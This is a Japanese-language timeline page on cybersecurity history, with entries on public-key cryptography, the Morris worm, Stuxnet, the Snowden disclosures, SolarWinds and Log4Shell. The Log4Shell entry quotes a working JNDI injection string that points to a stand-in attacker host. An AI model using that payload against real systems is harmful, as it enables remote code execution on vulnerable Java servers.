詳述 · 12件の出来事

サイバーセキュリティの歴史

Morris ワームから Stuxnet、 Snowden、 WannaCry、 SolarWinds、 Log4Shell、 そして 2024 年の CrowdStrike 大規模障害まで。 暗号、 国家、 犯罪組織、 そしてベンダーの単一更新がインターネット全体を停止させ得る時代の、 セキュリティ事件と概念の年代記。

1970年代

  1. RSA Conference 2008 の Cryptographers' Panel ── 左から Burt Kaliski、Whitfield Diffie、Martin Hellman、Ronald Rivest、Adi Shamir
    Dan Spisak (Wikimedia Commons) · CC BY-SA 2.0 · Commons ↗

    Whitfield Diffie と Martin Hellman が IEEE Transactions on Information Theory 誌 IT-22巻6号に発表した論文。暗号化の鍵と復号の鍵を分けられるという公開鍵暗号の概念、手書き署名に相当するデジタル署名の概念、そして有限体上の離散対数の困難さに基づく実際に動く鍵交換方式(Diffie–Hellman 鍵交換)を示した。ただしこの論文は動く公開鍵暗号系そのものは示していない ── それは1977年から78年の RSA である。鍵配送の別解を先に出していた Ralph Merkle は論文中で明示的に引用されており、英国 GCHQ は1969年から74年にかけて同等の結果に達していたことを1997年12月に公開した。

    関連用語
    公開鍵暗号
    登場する年表
    IT全史 ── 計算機が世界を編み変える · インターネットとWebの歴史

    詳細を読む

1980年代

  1. Robert Tappan Morris の肖像写真
    Trevor Blackwell (Wikimedia Commons) · CC BY-SA 3.0 / GFDL · Commons ↗

    1988年11月2日夜、 コーネル大学院生 Robert Tappan Morris が放ったワームが、 sendmail の DEBUG 機能・fingerd のバッファオーバーフロー・信頼ホスト・パスワード推測の4経路を連鎖させて自己複製し、 多数の UNIX ホストを機能停止に追い込んだ。 感染台数の公式集計は存在しない。 広く引かれる約6,000台は当時の報道による数字で、 GAO の1989年報告書はこれを「MIT が自機の10%が感染したと見積もった値を全体へ外挿したもの」と説明し、 1,000〜3,000台が実態に近いとするハーバード大学研究者の反論も併記している。 同一ホストへの再感染を7回に1回許す設計により、 1台で多数のプロセスが暴走した。 1989年7月に起訴された Morris は、 1986年制定の Computer Fraud and Abuse Act(CFAA)で有罪となった最初の人物となり、 1990年5月に保護観察3年・社会奉仕400時間・罰金10,050ドルを言い渡された(収監なし)。 この事件は DARPA に CERT/CC の創設を決断させ、 セキュリティインシデント対応という分野そのものの起点となった。

    関連用語
    プロセス

    詳細を読む

2010年代

  1. イラン・ナタンズのウラン濃縮施設の建物群
    Hamed Saber (Wikimedia Commons) · CC BY 2.0 · Commons ↗

    2010年6月、 ベラルーシのアンチウイルスベンダー VirusBlokAda の解析者がイランの顧客企業のシステムから不審なマルウェアを発見。 後に Symantec、 Kaspersky、 Langner Communications らの共同解析で全貌が明らかになる。 Stuxnet は4つのゼロデイ(LNK / 印刷スプーラ / Win32k / タスクスケジューラ)、 侵害された正規のコード署名証明書(Realtek、 JMicron)、 そして Siemens Step7 / WinCC と S7-315 PLC への深い理解を組み合わせ、 イラン・ナタンズの濃縮用遠心分離機の駆動周波数を書き換えて物理的に壊す設計だった。 米 NSA とイスラエル軍 Unit 8200 の共同作戦「Olympic Games」の一部だったと2012年に New York Times が報じたが、 両国政府は現在も公式には認めていない。 ナタンズでは2009年末から2010年初頭にかけて約1,000台の IR-1 が交換されており、 これを Stuxnet の効果とみるのは ISIS(科学国際安全保障研究所)の暫定評価である。 公開情報の範囲では、 国家が物理世界の破壊を目的にマルウェアを使った最初の事例であり、 サイバー戦の概念を根本から定義し直した。

    詳細を読む

  2. Edward Snowden(2021年、 リバティ若年層会議で講演)
    Gage Skidmore (Wikimedia Commons) · CC BY-SA 2.0 · Commons ↗

    2013年6月5日、 *The Guardian* が NSA による Verizon 通話メタデータの大量収集を報じる Glenn Greenwald の記事を掲載。 6月6日、 *Washington Post* と *Guardian* が同時に PRISM プログラム(FISA 702条にもとづき、 Microsoft・Google・Facebook・Apple ら米国9社から通信内容を強制的に取得する仕組み)を公開。 情報源は、 香港のホテルから映像で姿を現した NSA 契約職員 Edward Snowden(当時29歳、 Booz Allen Hamilton 所属)。 続く数か月で XKeyscore、 Bullrun(暗号解読計画)、 MUSCULAR(Google・Yahoo データセンター間光ファイバへの傍受)、 英 GCHQ の Tempora、 同盟国首脳の通信傍受が次々と報じられた。 持ち出された文書は5万〜20万件(米政府はさらに多いと主張) と推計され、 実際に報道されたのはその一部である。 Snowden は香港経由でモスクワへ亡命し、 2026年現在もロシアに滞在。 グローバルなプライバシー議論、 E2E 暗号化普及(Signal、 WhatsApp)、 HTTPS Everywhere、 そして「監視資本主義」批判の起点。

    関連企業・組織
    Apple · Google · Microsoft
    関連用語
    エンドツーエンド暗号化 · HTTPS

    詳細を読む

2020年代

  1. Orthopedicshoes / SolarWinds (Wikimedia Commons) · CC BY 4.0 · Commons ↗

    2020年12月13日、 セキュリティ企業 FireEye(後の Mandiant)と Microsoft が、 ネットワーク管理ソフト SolarWinds Orion の正規ビルドパイプラインに、 ロシア対外情報庁 SVR(米英呼称 APT29 / Cozy Bear / 後に「Midnight Blizzard」) が SUNBURST バックドア を埋め込んでいたことを公表した。 改竄された Orion 更新(バージョン 2019.4 HF5 〜 2020.2.1)は2020年3月〜6月に配布され、 約18,000組織 がダウンロード。 さらに侵入が深化されたのは数百組織で、 米 財務省、 国土安全保障省、 国務省、 司法省、 商務省、 エネルギー省、 NIH、 NTIA を含む9連邦機関、 および Microsoft・Cisco・FireEye・Mimecast 等が含まれる。 FireEye が自社侵害を契機に発覚させた経緯から、 「攻撃者が一流セキュリティ企業を踏み台にしようとして失敗した」事例として記録される。 ソフトウェアサプライチェーン攻撃の典型・最大級事例。

    関連企業・組織
    Microsoft
    関連用語
    ゼロトラスト

    詳細を読む

  2. Apache Software Foundation / Jim McKeeth (Wikimedia Commons) · Apache License 2.0 / CC0 1.0 · Commons ↗

    2021年11月24日、 Alibaba Cloud のセキュリティチーム Chen Zhaojun が、 Apache Log4j 2.x の JNDI lookup 機能に起因するリモートコード実行脆弱性(後の CVE-2021-44228、 CVSS 10.0)を Apache Software Foundation へ報告。 12月9日、 概念実証コードが Twitter で公開され、 ASF は緊急パッチ(2.15.0)を公表する。 攻撃は極めて単純 ── 攻撃者制御の文字列 `${jndi:ldap://attacker.com/x}` がログ出力対象としてどこかに渡るだけで、 攻撃者サーバから Java バイトコードがダウンロード・実行される。 Minecraft Java 版のチャット入力で他プレイヤーのサーバを乗っ取れることが当初の発火例として広く拡散した。 影響範囲は数億台規模 ── Log4j は Java エコシステムの事実上の標準ロガーで、 Apache、 Twitter、 Apple iCloud、 Steam、 Tencent QQ、 Amazon、 IBM、 Oracle ── ほぼすべての Java 系製品に深く埋め込まれていた。 ホワイトハウスは SBOM 推進と OSS セキュリティ会議を緊急招集、 米 CISA は政府機関に異例の年末対応を命じた。

    詳細を読む

  3. EVT.009T1CrowdStrike Falcon 障害 ── 史上最大の IT 障害クラウドコンピューティングの歴史IT全史 ── 計算機が世界を編み変える詳細を読む
  4. EVT.011T1大統領令14409 ── 「カバード・フロンティアモデル」と任意の事前アクセス枠組みAIの歴史IT全史 ── 計算機が世界を編み変える詳細を読む
  5. EVT.012T1商務省が Anthropic の2モデルに輸出管理 ── 19日間の全世界停止AIの歴史IT全史 ── 計算機が世界を編み変える詳細を読む